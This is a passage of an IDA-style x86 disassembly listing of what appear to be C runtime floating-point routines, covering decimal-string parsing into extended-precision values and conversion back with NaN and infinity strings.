		test	eax, eax
		jz	short loc_41F4A9
		inc	dword ptr [esi+8]


loc_41F4A9:				; CODE XREF: sub_41F477+19j
					; sub_41F477+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41F456
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F4C1
		inc	dword ptr [esi+8]


loc_41F4C1:				; CODE XREF: sub_41F477+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41F456
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41F477	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4D5	proc near		; CODE XREF: sub_41F530+30p
					; sub_41F530+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41F4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F503	proc near		; CODE XREF: sub_41FAC8+1C8p
					; sub_41FFC0+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41F503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F530	proc near		; CODE XREF: sub_41F5F7+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41F5A4
		push	edi
		mov	[ebp+arg_8], eax


loc_41F557:				; CODE XREF: sub_41F530+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41F4D5
		push	ebx
		call	sub_41F4D5
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F477
		push	ebx
		call	sub_41F4D5
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F477
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41F557
		xor	edx, edx
		pop	edi


loc_41F5A4:				; CODE XREF: sub_41F530+21j
					; sub_41F530+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41F5D1
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41F5A4
; ---------------------------------------------------------------------------


loc_41F5D1:				; CODE XREF: sub_41F530+77j
		mov	esi, 8000h


loc_41F5D6:				; CODE XREF: sub_41F530+B9j
		test	[ebx+8], esi
		jnz	short loc_41F5EB
		push	ebx
		call	sub_41F4D5
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41F5D6
; ---------------------------------------------------------------------------


loc_41F5EB:				; CODE XREF: sub_41F530+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41F530	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5F7	proc near		; CODE XREF: sub_41E79A+17p
					; sub_41E7C7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41F632:				; CODE XREF: sub_41F5F7+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41F648
		cmp	cl, 9
		jz	short loc_41F648
		cmp	cl, 0Ah
		jz	short loc_41F648
		cmp	cl, 0Dh
		jnz	short loc_41F64B


loc_41F648:				; CODE XREF: sub_41F5F7+40j
					; sub_41F5F7+45j ...
		inc	edi
		jmp	short loc_41F632
; ---------------------------------------------------------------------------


loc_41F64B:				; CODE XREF: sub_41F5F7+4Fj
		push	4
		pop	esi


loc_41F64E:				; CODE XREF: sub_41F5F7+AEj
					; sub_41F5F7+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41F8D1	; default
					; jumptable 0041F65A case 10
		jmp	off_41FA98[eax*4] ; switch jump


loc_41F661:				; DATA XREF: _0:off_41FA98o
		cmp	bl, 31h		; jumptable 0041F65A case 0
		jl	short loc_41F672
		cmp	bl, 39h
		jg	short loc_41F672


loc_41F66B:				; CODE XREF: sub_41F5F7+C4j
					; sub_41F5F7+118j
		push	3
		jmp	loc_41F88F
; ---------------------------------------------------------------------------


loc_41F672:				; CODE XREF: sub_41F5F7+6Dj
					; sub_41F5F7+72j
		cmp	bl, ds:byte_42F570
		jnz	short loc_41F681


loc_41F67A:				; CODE XREF: sub_41F5F7+124j
		push	5
		jmp	loc_41F8C7
; ---------------------------------------------------------------------------


loc_41F681:				; CODE XREF: sub_41F5F7+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F6A7
		dec	eax
		dec	eax
		jz	short loc_41F69B
		sub	eax, 3
		jnz	loc_41F96A
		jmp	loc_41F72A
; ---------------------------------------------------------------------------


loc_41F69B:				; CODE XREF: sub_41F5F7+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41F64E
; ---------------------------------------------------------------------------


loc_41F6A7:				; CODE XREF: sub_41F5F7+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41F64E
; ---------------------------------------------------------------------------


loc_41F6B0:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		cmp	bl, 31h		; jumptable 0041F65A case 1
		mov	[ebp+var_10], edx
		jl	short loc_41F6BD
		cmp	bl, 39h
		jle	short loc_41F66B


loc_41F6BD:				; CODE XREF: sub_41F5F7+BFj
		cmp	bl, ds:byte_42F570
		jz	loc_41F785
		cmp	bl, 2Bh
		jz	short loc_41F6FF
		cmp	bl, 2Dh
		jz	short loc_41F6FF
		cmp	bl, 30h
		jz	short loc_41F72A


loc_41F6D8:				; CODE XREF: sub_41F5F7+207j
		cmp	bl, 43h
		jle	loc_41F96A
		cmp	bl, 45h
		jle	short loc_41F6F8
		cmp	bl, 63h
		jle	loc_41F96A
		cmp	bl, 65h
		jg	loc_41F96A


loc_41F6F8:				; CODE XREF: sub_41F5F7+EDj
		push	6
		jmp	loc_41F8C7
; ---------------------------------------------------------------------------


loc_41F6FF:				; CODE XREF: sub_41F5F7+D5j
					; sub_41F5F7+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41F8C7
; ---------------------------------------------------------------------------


loc_41F707:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		cmp	bl, 31h		; jumptable 0041F65A case 2
		jl	short loc_41F715
		cmp	bl, 39h
		jle	loc_41F66B


loc_41F715:				; CODE XREF: sub_41F5F7+113j
		cmp	bl, ds:byte_42F570
		jz	loc_41F67A
		cmp	bl, 30h
		jnz	loc_41F8DF


loc_41F72A:				; CODE XREF: sub_41F5F7+9Fj
					; sub_41F5F7+DFj
		mov	eax, edx
		jmp	loc_41F64E
; ---------------------------------------------------------------------------


loc_41F731:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		mov	[ebp+var_10], edx ; jumptable 0041F65A case 3


loc_41F734:				; CODE XREF: sub_41F5F7+184j
		cmp	ds:dword_42F56C, edx
		jle	short loc_41F74D
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F75B
; ---------------------------------------------------------------------------


loc_41F74D:				; CODE XREF: sub_41F5F7+143j
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F75B:				; CODE XREF: sub_41F5F7+154j
		test	eax, eax
		jz	short loc_41F77D
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F775
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41F778
; ---------------------------------------------------------------------------


loc_41F775:				; CODE XREF: sub_41F5F7+16Cj
		inc	[ebp+var_8]


loc_41F778:				; CODE XREF: sub_41F5F7+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F734
; ---------------------------------------------------------------------------


loc_41F77D:				; CODE XREF: sub_41F5F7+166j
		cmp	bl, ds:byte_42F570
		jnz	short loc_41F7EC


loc_41F785:				; CODE XREF: sub_41F5F7+CCj
		mov	eax, esi
		jmp	loc_41F64E
; ---------------------------------------------------------------------------


loc_41F78C:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		cmp	[ebp+var_4], 0	; jumptable 0041F65A case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41F7A5


loc_41F798:				; CODE XREF: sub_41F5F7+1ACj
		cmp	bl, 30h
		jnz	short loc_41F7A5
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F798
; ---------------------------------------------------------------------------


loc_41F7A5:				; CODE XREF: sub_41F5F7+19Fj
					; sub_41F5F7+1A4j ...
		cmp	ds:dword_42F56C, edx
		jle	short loc_41F7BE
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F7CC
; ---------------------------------------------------------------------------


loc_41F7BE:				; CODE XREF: sub_41F5F7+1B4j
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F7CC:				; CODE XREF: sub_41F5F7+1C5j
		test	eax, eax
		jz	short loc_41F7EC
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F7E7
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41F7E7:				; CODE XREF: sub_41F5F7+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F7A5
; ---------------------------------------------------------------------------


loc_41F7EC:				; CODE XREF: sub_41F5F7+18Cj
					; sub_41F5F7+1D7j
		cmp	bl, 2Bh
		jz	loc_41F6FF
		cmp	bl, 2Dh
		jz	loc_41F6FF
		jmp	loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		cmp	ds:dword_42F56C, edx ; jumptable 0041F65A case 5
		mov	[ebp+var_24], edx
		jle	short loc_41F81F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F82D
; ---------------------------------------------------------------------------


loc_41F81F:				; CODE XREF: sub_41F5F7+215j
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F82D:				; CODE XREF: sub_41F5F7+226j
		test	eax, eax
		jz	loc_41F8DF
		mov	eax, esi
		jmp	short loc_41F890
; ---------------------------------------------------------------------------


loc_41F839:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		lea	ecx, [edi-2]	; jumptable 0041F65A case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41F849
		cmp	bl, 39h
		jle	short loc_41F88D


loc_41F849:				; CODE XREF: sub_41F5F7+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F8C5
		dec	eax
		dec	eax
		jz	short loc_41F8B9
		sub	eax, 3
		jnz	loc_41F96D


loc_41F85E:				; CODE XREF: sub_41F5F7+2A4j
		push	8
		jmp	short loc_41F8C7
; ---------------------------------------------------------------------------


loc_41F862:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		mov	[ebp+var_20], edx ; jumptable 0041F65A case 8


loc_41F865:				; CODE XREF: sub_41F5F7+276j
		cmp	bl, 30h
		jnz	short loc_41F86F
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F865
; ---------------------------------------------------------------------------


loc_41F86F:				; CODE XREF: sub_41F5F7+271j
		cmp	bl, 31h
		jl	loc_41F96A
		cmp	bl, 39h
		jg	loc_41F96A
		jmp	short loc_41F88D
; ---------------------------------------------------------------------------


loc_41F883:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		cmp	bl, 31h		; jumptable 0041F65A case 7
		jl	short loc_41F896
		cmp	bl, 39h
		jg	short loc_41F896


loc_41F88D:				; CODE XREF: sub_41F5F7+250j
					; sub_41F5F7+28Aj
		push	9


loc_41F88F:				; CODE XREF: sub_41F5F7+76j
		pop	eax


loc_41F890:				; CODE XREF: sub_41F5F7+240j
		dec	edi
		jmp	loc_41F64E
; ---------------------------------------------------------------------------


loc_41F896:				; CODE XREF: sub_41F5F7+28Fj
					; sub_41F5F7+294j
		cmp	bl, 30h
		jnz	short loc_41F8DF
		jmp	short loc_41F85E
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		cmp	[ebp+arg_18], 0	; jumptable 0041F65A case 11
		jz	short loc_41F8CD
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41F8C5
		dec	eax
		dec	eax
		jnz	loc_41F96D


loc_41F8B9:				; CODE XREF: sub_41F5F7+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41F64E
; ---------------------------------------------------------------------------


loc_41F8C5:				; CODE XREF: sub_41F5F7+258j
					; sub_41F5F7+2B8j
		push	7


loc_41F8C7:				; CODE XREF: sub_41F5F7+85j
					; sub_41F5F7+103j ...
		pop	eax
		jmp	loc_41F64E
; ---------------------------------------------------------------------------


loc_41F8CD:				; CODE XREF: sub_41F5F7+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41F8D1:				; CODE XREF: sub_41F5F7+5Dj
					; sub_41F5F7+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041F65A case 10
		jz	loc_41F96F
		jmp	loc_41F64E
; ---------------------------------------------------------------------------


loc_41F8DF:				; CODE XREF: sub_41F5F7+12Dj
					; sub_41F5F7+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41F96F
; ---------------------------------------------------------------------------


loc_41F8E7:				; CODE XREF: sub_41F5F7+63j
					; DATA XREF: _0:off_41FA98o
		mov	[ebp+var_20], 1	; jumptable 0041F65A case 9
		xor	esi, esi


loc_41F8F0:				; CODE XREF: sub_41F5F7+339j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41F908
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41F917
; ---------------------------------------------------------------------------


loc_41F908:				; CODE XREF: sub_41F5F7+300j
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F917:				; CODE XREF: sub_41F5F7+30Fj
		test	eax, eax
		jz	short loc_41F937
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41F932
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F8F0
; ---------------------------------------------------------------------------


loc_41F932:				; CODE XREF: sub_41F5F7+334j
		mov	esi, 1451h


loc_41F937:				; CODE XREF: sub_41F5F7+322j
		mov	[ebp+var_1C], esi


loc_41F93A:				; CODE XREF: sub_41F5F7+371j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41F952
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41F961
; ---------------------------------------------------------------------------


loc_41F952:				; CODE XREF: sub_41F5F7+34Aj
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F961:				; CODE XREF: sub_41F5F7+359j
		test	eax, eax
		jz	short loc_41F96A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F93A
; ---------------------------------------------------------------------------


loc_41F96A:				; CODE XREF: sub_41F5F7+99j
					; sub_41F5F7+E4j ...
		dec	edi
		jmp	short loc_41F96F
; ---------------------------------------------------------------------------


loc_41F96D:				; CODE XREF: sub_41F5F7+261j
					; sub_41F5F7+2BCj
		mov	edi, ecx


loc_41F96F:				; CODE XREF: sub_41F5F7+2DDj
					; sub_41F5F7+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41FA57
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41F99B
		cmp	[ebp+var_45], 5
		jl	short loc_41F98F
		inc	[ebp+var_45]


loc_41F98F:				; CODE XREF: sub_41F5F7+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41F99E
; ---------------------------------------------------------------------------


loc_41F99B:				; CODE XREF: sub_41F5F7+38Dj
		mov	eax, [ebp+var_C]


loc_41F99E:				; CODE XREF: sub_41F5F7+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41FA4D


loc_41F9A8:				; CODE XREF: sub_41F5F7+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41F9B6
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41F9A8
; ---------------------------------------------------------------------------


loc_41F9B6:				; CODE XREF: sub_41F5F7+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41F530
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41F9D5
		neg	eax


loc_41F9D5:				; CODE XREF: sub_41F5F7+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41F9E0
		add	eax, [ebp+arg_10]


loc_41F9E0:				; CODE XREF: sub_41F5F7+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41F9E8
		sub	eax, [ebp+arg_14]


loc_41F9E8:				; CODE XREF: sub_41F5F7+3ECj
		cmp	eax, 1450h
		jle	short loc_41FA1F
		mov	[ebp+var_2C], 1


loc_41F9F6:				; CODE XREF: sub_41F5F7+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41FA02:				; CODE XREF: sub_41F5F7+454j
					; sub_41F5F7+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41FA68
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------


loc_41FA1F:				; CODE XREF: sub_41F5F7+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41FA2F
		mov	[ebp+var_30], 1
		jmp	short loc_41F9F6
; ---------------------------------------------------------------------------


loc_41FA2F:				; CODE XREF: sub_41F5F7+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4201E0
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41FA02
; ---------------------------------------------------------------------------


loc_41FA4D:				; CODE XREF: sub_41F5F7+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41FA02
; ---------------------------------------------------------------------------


loc_41FA57:				; CODE XREF: sub_41F5F7+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------


loc_41FA68:				; CODE XREF: sub_41F5F7+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41FA7D
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41FA7D:				; CODE XREF: sub_41F5F7+426j
					; sub_41F5F7+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41F5F7	endp

; ---------------------------------------------------------------------------
off_41FA98	dd offset loc_41F661	; DATA XREF: sub_41F5F7+63r
		dd offset loc_41F6B0	; jump table for switch	statement
		dd offset loc_41F707
		dd offset loc_41F731
		dd offset loc_41F78C
		dd offset loc_41F803
		dd offset loc_41F839
		dd offset loc_41F883
		dd offset loc_41F862
		dd offset loc_41F8E7
		dd offset loc_41F8D1
		dd offset loc_41F89D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAC8	proc near		; CODE XREF: sub_41E86B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41FB2A
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41FB2E
; ---------------------------------------------------------------------------


loc_41FB2A:				; CODE XREF: sub_41FAC8+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41FB2E:				; CODE XREF: sub_41FAC8+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41FB54
		test	edi, edi
		jnz	short loc_41FB54
		cmp	[ebp+arg_0], edi
		jnz	short loc_41FB54


loc_41FB3F:				; CODE XREF: sub_41FAC8+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41FD52
; ---------------------------------------------------------------------------


loc_41FB54:				; CODE XREF: sub_41FAC8+6Cj
					; sub_41FAC8+70j ...
		cmp	dx, si
		jnz	short loc_41FBD3
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41FB6D
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB7C


loc_41FB6D:				; CODE XREF: sub_41FAC8+9Dj
		test	edi, 40000000h
		jnz	short loc_41FB7C
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41FBC2
; ---------------------------------------------------------------------------


loc_41FB7C:				; CODE XREF: sub_41FAC8+A3j
					; sub_41FAC8+ABj
		test	cx, cx
		jz	short loc_41FB96
		cmp	edi, 0C0000000h
		jnz	short loc_41FB96
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FBBD
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41FBA5
; ---------------------------------------------------------------------------


loc_41FB96:				; CODE XREF: sub_41FAC8+B7j
					; sub_41FAC8+BFj
		cmp	edi, eax
		jnz	short loc_41FBBD
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FBBD
		push	offset a1Inf	; "1#INF"


loc_41FBA5:				; CODE XREF: sub_41FAC8+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415B90
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41FBB4:				; CODE XREF: sub_41FAC8+109j
		and	[ebp+var_4], 0
		jmp	loc_41FD2B
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41FAC8+C5j
					; sub_41FAC8+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41FBC2:				; CODE XREF: sub_41FAC8+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415B90
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41FBB4
; ---------------------------------------------------------------------------


loc_41FBD3:				; CODE XREF: sub_41FAC8+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4201E0
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41FC34
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FFC0
		pop	ecx
		pop	ecx


loc_41FC34:				; CODE XREF: sub_41FAC8+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41FC4E
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41FC51
		jmp	loc_41FB3F
; ---------------------------------------------------------------------------


loc_41FC4E:				; CODE XREF: sub_41FAC8+173j
		mov	edi, [ebp+arg_C]


loc_41FC51:				; CODE XREF: sub_41FAC8+17Fj
		cmp	edi, 15h
		jle	short loc_41FC59
		push	15h
		pop	edi


loc_41FC59:				; CODE XREF: sub_41FAC8+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41FC6F:				; CODE XREF: sub_41FAC8+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4D5
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41FC6F
		test	esi, esi
